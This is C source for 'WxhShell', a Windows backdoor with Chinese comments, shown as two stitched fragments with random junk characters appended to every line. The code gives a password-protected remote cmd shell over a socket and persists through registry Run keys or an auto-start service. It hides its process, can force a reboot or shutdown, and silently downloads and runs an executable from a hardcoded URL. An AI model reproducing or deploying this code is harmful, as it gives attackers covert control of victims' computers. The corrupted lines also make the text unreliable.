    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <ZPZk'53<f  
    if(Boot(SHUTDOWN)) +S{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "4}wnu6/  
    else { zDBD.5R;  
    closesocket(wsh); :pKG\A  
    ExitThread(0); o#i ]"  
    } j^u[F"  
    break; |DG@ht  
    } ]gd/}m)1  
  // 获取shell )q?$p9  
  case 's': { z)L}ECZh9  
    CmdShell(wsh); -]"T^w ib  
    closesocket(wsh); M StX*Zw  
    ExitThread(0); E)'8U  
    break; }B!cv{{  
  } M?:\9DDd  
  // 退出 r:l96^xs  
  case 'x': { oFg'wAO.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }N3`gCy9eN  
    CloseIt(wsh); ?g  }kb  
    break; >2-F2E,  
    } Z^6#4Q]YC  
  // 离开 CUhV$A#oo  
  case 'q': { *=nO  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2*[Un(  
    closesocket(wsh); @5Qoi~o  
    WSACleanup(); LdTIR]  
    exit(1); ,?b78_,2  
    break; /mbCP>bcG  
        } 5j [#'3TSU  
  } j=3-Qk`"/|  
  } IKm&xzV-  
%jKH?%Ih  
  // 提示信息 ?eWJa  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C6k4g75U2  
} ?n*fy  
  } i!~>\r\6\  
lCFU1 GHH  
  return; _nX%#/{  
} .ewZV9P)t  
$pu3Ig$^  
// shell模块句柄 1mUTtYU  
int CmdShell(SOCKET sock) i,OKf Xp  
{ U)~#g'6:8  
STARTUPINFO si; 6VR18Y!y  
ZeroMemory(&si,sizeof(si)); rF8 hr  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3q~Fl=|.o  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @InJ_9E  
PROCESS_INFORMATION ProcessInfo; KS! iL=i  
char cmdline[]="cmd"; (|0b7 |'T  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); r@$B'CsLj  
  return 0; 8tZ} ;="F  
} 46ChMTt  
KM5 JZZP  
// 自身启动模式 ec'tFL#u{  
int StartFromService(void) <d! 6[,W;  
{ DT? m/*  
typedef struct h DtK nF  
{ _7 `E[&v  
  DWORD ExitStatus; Jr?!Mh-  
  DWORD PebBaseAddress; t,Q'S`eTU  
  DWORD AffinityMask; A+2oh3  
  DWORD BasePriority; TzY!D *%z  
  ULONG UniqueProcessId; u9}!Gq  
  ULONG InheritedFromUniqueProcessId; "t+r+ipf])  
}   PROCESS_BASIC_INFORMATION; N9*UMVU  
YX `%A6  
PROCNTQSIP NtQueryInformationProcess; qhxC 5f4Z  
0WS|~?OR@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; BGpk&.J  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $[Q cEk  
sX~45u \  
  HANDLE             hProcess; 51/sTx<Z}  
  PROCESS_BASIC_INFORMATION pbi; Vj7Hgc-,  
nt`<y0ta  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |8;? *s`H  
  if(NULL == hInst ) return 0; i@{*O@m  
lVT&+r~r  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [D9:A  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =+(Q.LmhC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l'2H 4W_+  
}z{wQ\  
  if (!NtQueryInformationProcess) return 0; '_E c_F  
^6&_| f  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g 2#F_  
  if(!hProcess) return 0; M\jB)@)  
%(NN *o9"q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; dk4D+*R  
UFk!dK+  
  CloseHandle(hProcess); \!7*(&yly  
7uA\&/ ,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); '{W3j^m7  
if(hProcess==NULL) return 0; KT%{G8Y@M  
KE#$+,?  
HMODULE hMod; QB9A-U <J  
char procName[255]; F#^L9  
unsigned long cbNeeded; H\f/n`@,G  
,N;v~D$Y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h;}ODK(.  
}(cY|  
  CloseHandle(hProcess); .hgH9$\  
U[Nosh)hu\  
if(strstr(procName,"services")) return 1; // 以服务启动 "<T ~jk"u  
vhNohCt  
  return 0; // 注册表启动 ?GfxBZWJ  
} ip674'bq7R  
jB/V{Y#y9@  
// 主模块 6*V8k%H  
int StartWxhshell(LPSTR lpCmdLine) }2mI*"%)\u  
{ GM77Z.Y  
  SOCKET wsl; Fi/jR0]e2  
BOOL val=TRUE; [{/$9k-aF?  
  int port=0; )ZeLaaP  
  struct sockaddr_in door; 79a9L{gso  
n8Q* _?Z/  
  if(wscfg.ws_autoins) Install(); p*!q}%U  
<YSg~T  
port=atoi(lpCmdLine); ,.q8Xf  
[Q=4P*G}X  
if(port<=0) port=wscfg.ws_port; m"q/,}DR  
}eI`Qg  
  WSADATA data; >z5Oy  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; y78z>(jV  
h%/ssB  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #9INX`s-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q:Wq8  
  door.sin_family = AF_INET; Qv\bLR  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :`;(p{  
  door.sin_port = htons(port); !2wETs?  
VZIKjrKs  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { uGM>C"  
closesocket(wsl); K^8@'#S  
return 1; mUiOD$rO  
} 8Y7 @D$=w  
{DSyV:   
  if(listen(wsl,2) == INVALID_SOCKET) { 6G$/NW=L  
closesocket(wsl); t+jIHo  
return 1; hO%Y{Gg  
} we }#Ru*  
  Wxhshell(wsl);  Hl!1h%  
  WSACleanup(); G}s;JJax  
Q^vGj</u  
return 0; SC]6F*  
7 s7}?l9  
} ,R8n,az  
l,^xX =,  
// 以NT服务方式启动 pAMo XJ`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >2nF"?"=  
{ 7Onk!NH  
DWORD   status = 0; \I:UC %  
  DWORD   specificError = 0xfffffff; M&eQ=vew.  
*1i?6$[ "  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +J%6bn)U  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; EQ6l:[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; icU"Vyu  
  serviceStatus.dwWin32ExitCode     = 0; c 3}x)aQ  
  serviceStatus.dwServiceSpecificExitCode = 0; cgzy0$8dj\  
  serviceStatus.dwCheckPoint       = 0; L,O>6~9:^1  
  serviceStatus.dwWaitHint       = 0; ]X/O IfdWe  
j1W bD7*8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 33O)k*g  
  if (hServiceStatusHandle==0) return; @Ap@m6K?q  
+yt6.L  
status = GetLastError(); 7xz#D4[  
  if (status!=NO_ERROR) 4(m/D>6:  
{ Zp^)_ 0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; LH bZjZ2  
    serviceStatus.dwCheckPoint       = 0; 8rla0d@  
    serviceStatus.dwWaitHint       = 0; FYxUOO  
    serviceStatus.dwWin32ExitCode     = status; b8eDD+ulk  
    serviceStatus.dwServiceSpecificExitCode = specificError; gQu\[e%mVo  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?`za-+<r<  
    return; ZDW,7b% U  
  } )hePN4edj  
}<E sS  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5%EaX?0h+  
  serviceStatus.dwCheckPoint       = 0; /\6}S G;  
  serviceStatus.dwWaitHint       = 0; Hf;RIl2F  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5T7_[{  
} $:qI&)/  
5dbX%e_OP  
// 处理NT服务事件,比如:启动、停止 6-D%)Z(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?SHc}iaU#  
{ hgF21Oj9  
switch(fdwControl) I|GV :D  
{ 5hlJbWJa  
case SERVICE_CONTROL_STOP: kt;}]O2%R  
  serviceStatus.dwWin32ExitCode = 0; s4^[3|Zrr0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1!K !oY  
  serviceStatus.dwCheckPoint   = 0; H Jnv'^yn  
  serviceStatus.dwWaitHint     = 0; hz&^_ G6`  
  { Y+|L 3'H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r!"CH5dT  
  } .;]YJy  
  return; 9OE_?R0c!  
case SERVICE_CONTROL_PAUSE: KteZK.+#:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; L&+% Wd~  
  break; 1"mnzbf8*  
case SERVICE_CONTROL_CONTINUE: AaJ,=eQ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @SX%? mk8G  
  break; iuvtj]/  
case SERVICE_CONTROL_INTERROGATE: A}az m>  
  break; d,Im&j_Z  
}; !~6'@UYo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z:0-aDe M  
} K * xM[vO  
m0dFA<5-  
// 标准应用程序主函数 gt].rwo"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }dV9%0s!  
{ uJ2C+$=Ul  
\c5#\1<  
// 获取操作系统版本 'p4da2%  
OsIsNt=GetOsVer(); p{\qSPK  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]w1BJZa36  
4WBo ZJ  
  // 从命令行安装 %!N2!IiVs  
  if(strpbrk(lpCmdLine,"iI")) Install(); |H3?ox*  
+z~ !#j4Q  
  // 下载执行文件 X3&SL~&>g  
if(wscfg.ws_downexe) { fRca"vV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) m-~V+JU;x  
  WinExec(wscfg.ws_filenam,SW_HIDE); CDwFVR'_Af  
} j]cXLY  
EhmUX@k],  
if(!OsIsNt) { s!nSE  
// 如果时win9x,隐藏进程并且设置为注册表启动 .3S\Rrv  
HideProc(); ,_wm,  
StartWxhshell(lpCmdLine); E@\d<c.  
} h^.tom g8  
else //`cwnjp  
  if(StartFromService()) .=et{\  
  // 以服务方式启动 USHlb#*  
  StartServiceCtrlDispatcher(DispatchTable); _E x*%Qf.  
else Q]2sj:  
  // 普通方式启动 yhJA;&}>  
  StartWxhshell(lpCmdLine); Y;~~?[6  
P!>{>r4  
return 0; I8pv:>EhC  
} O?4vC5x  
[F BCz>  
5kRwSOG%'  
} Y7W1$he  
=========================================== $9 &Q.Kpq>  
/: \VwH  
6B!j(R  
E9Qd>o  
D:RBq\8  
u+I r:k  
" /w}B07.  
[EW$7 se~  
#include <stdio.h> )$Dcrrj  
#include <string.h> N c&i) qh  
#include <windows.h> y . ivz  
#include <winsock2.h> &?5{z\;1"  
#include <winsvc.h> 6S&=OK^  
#include <urlmon.h> g~$GE},,  
@FnI?Rx  
#pragma comment (lib, "Ws2_32.lib") Ok~W@sYST  
#pragma comment (lib, "urlmon.lib") 7B:ZdDj  
GP7) m  
#define MAX_USER   100 // 最大客户端连接数 >TY5ZRB  
#define BUF_SOCK   200 // sock buffer vS24;:f  
#define KEY_BUFF   255 // 输入 buffer cA (e "N  
+|}K5q\  
#define REBOOT     0   // 重启 #<PA- y  
#define SHUTDOWN   1   // 关机 NP<F==,  
HIWmh4o/.  
#define DEF_PORT   5000 // 监听端口 zw%n!wc_\  
#)h ~.D{  
#define REG_LEN     16   // 注册表键长度 $ <>EwW  
#define SVC_LEN     80   // NT服务名长度 bVAgul=__  
%t5BB$y  
// 从dll定义API bCaPJ!ZO  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4 HJZ^bq9|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vwqN;|F  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kUaGok?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mC[U)` ey  
9Qs"X7iH  
// wxhshell配置信息 yV+ E;  
struct WSCFG { HC;I0&v>  
  int ws_port;         // 监听端口 kT } '"  
  char ws_passstr[REG_LEN]; // 口令 jhEg#Q$  
  int ws_autoins;       // 安装标记, 1=yes 0=no Jq+$_Uqd  
  char ws_regname[REG_LEN]; // 注册表键名 l3Bxi1k[C  
  char ws_svcname[REG_LEN]; // 服务名 [K4+G]6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0Z) ;.l^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x[O#(^q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :z0>H5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no r~D~7MNl  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;MRC~F=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;~gd<KK  
cf[u%{ 6Y  
}; $ DZQdhv  
1N$gE  
// default Wxhshell configuration  1u S>{M  
struct WSCFG wscfg={DEF_PORT, b]g&rwXYt  
    "xuhuanlingzhe", t+4Y3*WeGF  
    1, (HrkUkw  
    "Wxhshell", N5rG.6K  
    "Wxhshell", mTuB*  
            "WxhShell Service", E][{RTs  
    "Wrsky Windows CmdShell Service", N>nvt.`P  
    "Please Input Your Password: ", |n6 Q  
  1, `d|bH; w  
  "http://www.wrsky.com/wxhshell.exe", &fd4IO/O  
  "Wxhshell.exe" FskJyB[  
    }; ng&EGM  
8$<AxNR  
// 消息定义模块 @gqs4cg{f  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )D@n?qbG  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `F+x]<m!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ssJDaf79  
char *msg_ws_ext="\n\rExit."; sc $QbOc  
char *msg_ws_end="\n\rQuit."; #!d^3iB2  
char *msg_ws_boot="\n\rReboot..."; R$;&O. 5M  
char *msg_ws_poff="\n\rShutdown..."; YT(1 "{:  
char *msg_ws_down="\n\rSave to "; 9X {nJ"  
% 6hw  
char *msg_ws_err="\n\rErr!"; Y7t{4P  
char *msg_ws_ok="\n\rOK!"; hte9l)  
c>i*HN}Z|  
char ExeFile[MAX_PATH]; `7qp\vYL  
int nUser = 0; F)5B[.ce  
HANDLE handles[MAX_USER]; !|:q@|- %@  
int OsIsNt; u g:G9vjQ  
M+R)P +  
SERVICE_STATUS       serviceStatus; 6[h$r/GXh"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; f~"V  
FvNSu"O~K1  
// 函数声明 v.LUK  
int Install(void); wAOVH].  
int Uninstall(void); V&+$V q  
int DownloadFile(char *sURL, SOCKET wsh); eeJt4DV8v  
int Boot(int flag); B%g:Z  
void HideProc(void); Nb!6YY=Ez-  
int GetOsVer(void); ;7n*PBUJJ  
int Wxhshell(SOCKET wsl); ocuVDC  
void TalkWithClient(void *cs); UrcN?  
int CmdShell(SOCKET sock); PUZXmnB  
int StartFromService(void); F%+rOT<5  
int StartWxhshell(LPSTR lpCmdLine); hYUV9k:  
~B*\k^t`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); aq,)6P`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |m 5;M$M)  
$E,DxDT  
// 数据结构和表定义 ic]tUOC:  
SERVICE_TABLE_ENTRY DispatchTable[] = :0j`yo:w  
{ ]|La MMD  
{wscfg.ws_svcname, NTServiceMain}, hCvLwZ?LF  
{NULL, NULL} Ufe  
}; :9 iOuu  
Nx (pJp{S  
// 自我安装 $0S"Lh{  
int Install(void) j _9<=Vu  
{ >.wd)  
  char svExeFile[MAX_PATH]; #M^Yh?~%w  
  HKEY key; IZv, Wo  
  strcpy(svExeFile,ExeFile); s>``- ]3  
= 4WZr  
// 如果是win9x系统,修改注册表设为自启动 Nl<,rD+KSD  
if(!OsIsNt) { ^}7t:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -QI`npsnV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p+sPCF  
  RegCloseKey(key); ~5!TV,>ls  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f<sPh>n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d<'Yt|zt  
  RegCloseKey(key); @gjdyz  
  return 0; s1\BjSzk  
    } M Hyl=5  
  } tMBy ^@p  
} *^+xcG  
else { [5eT|uy  
Hh;6B!zb+  
// 如果是NT以上系统,安装为系统服务 g?AqC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R|$`MX}'z  
if (schSCManager!=0) A}Dpw[Q2@8  
{ 5YH mp7c-z  
  SC_HANDLE schService = CreateService ;,-Vapz  
  ( Ml/p{ *p  
  schSCManager, J+NK+,_*M  
  wscfg.ws_svcname, Ry S{@=si  
  wscfg.ws_svcdisp, \Y[)bo6s  
  SERVICE_ALL_ACCESS, (4f9wrK  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "3oU (RA  
  SERVICE_AUTO_START, MV d 3*  
  SERVICE_ERROR_NORMAL, :@Dos'0Px  
  svExeFile, 'I>#0VRr  
  NULL, [_hhC  
  NULL, FY S83uq0  
  NULL, Bg0cC  
  NULL, _";pk  _  
  NULL ;/q6^Nk3A  
  ); vl~   
  if (schService!=0) `srZ#F5  
  { .) ;:K  
  CloseServiceHandle(schService); O:p649A  
  CloseServiceHandle(schSCManager); dTQvz9C  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }/r%~cZ  
  strcat(svExeFile,wscfg.ws_svcname); U*:'/.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { eniR}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); AR6vc  
  RegCloseKey(key); p}7&x[fTLk  
  return 0; P}QbxkS 8  
    } 9ufs6 z  
  } h:sG23@=  
  CloseServiceHandle(schSCManager); r K)  
} []!r|R3  
} YY~=h5$  
`#8R+c=$  
return 1; OT3;qT*fw  
} * .VZ(wX  
1+}Ud.v3VW  
// 自我卸载 V>92/w.fe  
int Uninstall(void) Fh $&puF2  
{ 9?$!=4  
  HKEY key; k+M-D~@5H  
dKTAc":-}  
if(!OsIsNt) { 9,eR=M]+:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g9Gy3zk=  
  RegDeleteValue(key,wscfg.ws_regname); r$Qh`[<  
  RegCloseKey(key); K)\gbQ|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m9c T}x&j  
  RegDeleteValue(key,wscfg.ws_regname); r['C.S6  
  RegCloseKey(key); 9G/2^PI  
  return 0; DJ0T5VE W3  
  } \%Q rN+WQ  
} lB~'7r`  
} :]Qx T8B  
else { oa !P]r  
{=7i}xY]T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  Bt3=/<.\  
if (schSCManager!=0) |raQ]b@t&  
{ JHH&@Cn  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T=dvc}  
  if (schService!=0) >v,j;[(  
  { (r\h dLX  
  if(DeleteService(schService)!=0) { T["(YFCByg  
  CloseServiceHandle(schService); P[8N58#  
  CloseServiceHandle(schSCManager); nn%xN\~<  
  return 0; D~&e.y/gHN  
  } &~f_1<  
  CloseServiceHandle(schService); bR,Iq}p  
  } 53 05N!  
  CloseServiceHandle(schSCManager); C P{h+yCj  
} 4:g:$s|SE[  
} %]oLEmn}y  
w/6@R 4)p  
return 1; hAyPaS#  
} lIP<`6=4  
IuW10}"9  
// 从指定url下载文件 (SA*9%  
int DownloadFile(char *sURL, SOCKET wsh) L]<4{8H.  
{ TJ:Lz]l >  
  HRESULT hr; UdJV;T'rm  
char seps[]= "/"; |h/2'zd^-  
char *token; ,0~TvJS  
char *file; SH|$Dg  
char myURL[MAX_PATH]; /z:K#  
char myFILE[MAX_PATH]; kq0m^`  
q Db}b d5  
strcpy(myURL,sURL); c%.& F  
  token=strtok(myURL,seps); nB0 ol-<  
  while(token!=NULL) 'Sh5W%NM  
  { We?:DM [  
    file=token; 1tpD|  
  token=strtok(NULL,seps); #sZes  
  } oyw1N;K  
&[5az/Hj*  
GetCurrentDirectory(MAX_PATH,myFILE); L{p-'V  
strcat(myFILE, "\\"); 5-^twXC&  
strcat(myFILE, file); +KNr1rG  
  send(wsh,myFILE,strlen(myFILE),0); j3&*wU_  
send(wsh,"...",3,0); Q4q#/z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?9TogW>W  
  if(hr==S_OK) `oBzt |f5  
return 0; <=M}[  
else _s8_i6 Y  
return 1; 6u7wfAf  
lZ_k307  
} (mlc' ]F  
UXHFti/A<  
// 系统电源模块 @1@WB ]mQQ  
int Boot(int flag) [=+/  
{ ^&HYnwk  
  HANDLE hToken; e,8-P-h~T  
  TOKEN_PRIVILEGES tkp; !d(V7`8  
d*L'`BBsp  
  if(OsIsNt) { 1[^d8!U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); dZmq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y>8?RX8  
    tkp.PrivilegeCount = 1; q3`t0eLZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; vE(Hy&Q&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Dzr5qP?#  
if(flag==REBOOT) { jq{Ix  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2wQ CQ"  
  return 0; >qA&;M  
} SZvsJ)  
else { Uw"   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Xk'.t|  
  return 0; :f;|^(]"  
} DAW%?(\,  
  } K>y+3HN[6  
  else { G\%hT5^  
if(flag==REBOOT) { 4+Y5u4 `t  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \.] U  
  return 0; HrGX-6`  
} =Frr#t!(w0  
else { X)m2{@v D  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) v<1;1m  
  return 0; 51x,[y+Xe  
} :cTi$n  
} qv\yQ&pj  
v*3:8Y,  
return 1; wn`budH?c8  
} 1CbC|q  
whCv9)x  
// win9x进程隐藏模块 v(`$%V.  
void HideProc(void) ?9+;[X  
{ UlrY  
FhGbQJ?[3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Q*: Ow]  
  if ( hKernel != NULL ) *F0N'*  
  { iQF93:#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9[M u   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); n :P}K?lg  
    FreeLibrary(hKernel); ?3#X5WT  
  } srL,9)O C  
YSbN=Rj  
return; yFG&Ir  
} LKa_ofY  
P6Ei!t,>  
// 获取操作系统版本 x% 1Rp[  
int GetOsVer(void) _qV_(TpS+  
{ V QI7lJV"  
  OSVERSIONINFO winfo; ;G$FLL1   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Cb.Aw!  
  GetVersionEx(&winfo); fJuJ#MX{:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) JFfx9%Fq  
  return 1; lxZXz JkqZ  
  else &3<]FK  
  return 0; &!ZpBR(  
} b11C3TyQT  
*RPI$0  
// 客户端句柄模块 zw?6E8$h  
int Wxhshell(SOCKET wsl) C$8=HM3  
{ Sc&_6} K  
  SOCKET wsh; S:gP\Atf>  
  struct sockaddr_in client; # V +e  
  DWORD myID; * 7CI q  
_),@^^&x  
  while(nUser<MAX_USER) k.%F!sK  
{ Z_%>yqDC  
  int nSize=sizeof(client); qcqf9g  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); v!2`hq O  
  if(wsh==INVALID_SOCKET) return 1; A!c.P2  
ZD3S|1zSQ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); f4q-wX_1  
if(handles[nUser]==0) $\H>dm  
  closesocket(wsh); 3I]5DW %-  
else ]#`bYh^y  
  nUser++; [{YV<kN  
  } %llG/]q#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l<5!R;?$  
j2+&B9 (  
  return 0; Z\x6  
} 3jeR;N]x  
5@Sb[za  
// 关闭 socket J#\/znT  
void CloseIt(SOCKET wsh) ~jgd92`{z  
{ V;$lgTs|'  
closesocket(wsh); ?S"xR0 *  
nUser--; \a<E3 <  
ExitThread(0); AK[c!mzx  
} 52oR^ |  
<iMLM<J<w  
// 客户端请求句柄 .fgoEB,(  
void TalkWithClient(void *cs) @Z)&3ss  
{ fI6F};I5}T  
*N7\d9y  
  SOCKET wsh=(SOCKET)cs; "xWC49   
  char pwd[SVC_LEN]; 61wiXX"N  
  char cmd[KEY_BUFF]; }+z}vb  
char chr[1]; "QMHY\C  
int i,j; _QQO&0Z  
=&vV$UtV  
  while (nUser < MAX_USER) { jsuQ R  
r_)*/  
if(wscfg.ws_passstr) { }G]]0Oi2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); # aC}\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jk~< si  
  //ZeroMemory(pwd,KEY_BUFF); #p^D([k \  
      i=0; uy$o%NL-7  
  while(i<SVC_LEN) { H=0Y4 T@)T  
[.2>=3T  
  // 设置超时 fSj^/>  
  fd_set FdRead; f.!cR3XgV  
  struct timeval TimeOut; 6uDNqq  
  FD_ZERO(&FdRead); >d =k-d  
  FD_SET(wsh,&FdRead); !+i  
  TimeOut.tv_sec=8; {9(N?\S1`a  
  TimeOut.tv_usec=0; co: W!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); E5B:79BGO  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); W)KV"A3C  
8$1<N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]1X];x&e  
  pwd=chr[0]; V4|pZ]  
  if(chr[0]==0xd || chr[0]==0xa) { oC[$PPqX#  
  pwd=0; 'Ic$p>  
  break; 'C(YUlT2?P  
  } X4jtti  
  i++; #U^@)g6  
    } Rt+s\MC^r  
<=WQs2  
  // 如果是非法用户,关闭 socket )AnX[:y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F*QGzbv)  
} Y #KgaZ7N  
i),W1<A1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "/K44(^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zT.qNtU%  
nM@S`"  
while(1) {  0N md*r  
K?) &8S  
  ZeroMemory(cmd,KEY_BUFF); @X|CubJ  
 E;k'bz  
      // 自动支持客户端 telnet标准   %|UCs8EFm  
  j=0; (R{W Jjj  
  while(j<KEY_BUFF) { < }G7#xg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `w2hJP  
  cmd[j]=chr[0]; ZZ#S\*  
  if(chr[0]==0xa || chr[0]==0xd) { g^=p)h3  
  cmd[j]=0; [^#6.xH  
  break;  IS!sJc  
  } $P>ci4]t  
  j++; 60Y&)UR  
    } gz8<&*2  
;'*"(F=D6  
  // 下载文件 @Kp2l<P  
  if(strstr(cmd,"http://")) { OXI.>9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4\>Cnc{  
  if(DownloadFile(cmd,wsh)) O",:0<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); M*|x,K=U  
  else WJ8i,7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9|fg\C  
  } S-GcH  
  else { }Dm-Ibdg(  
aH*)W'N?  
    switch(cmd[0]) { 6Wl+5 a6V  
  PE0A`  
  // 帮助 z.--"cF  
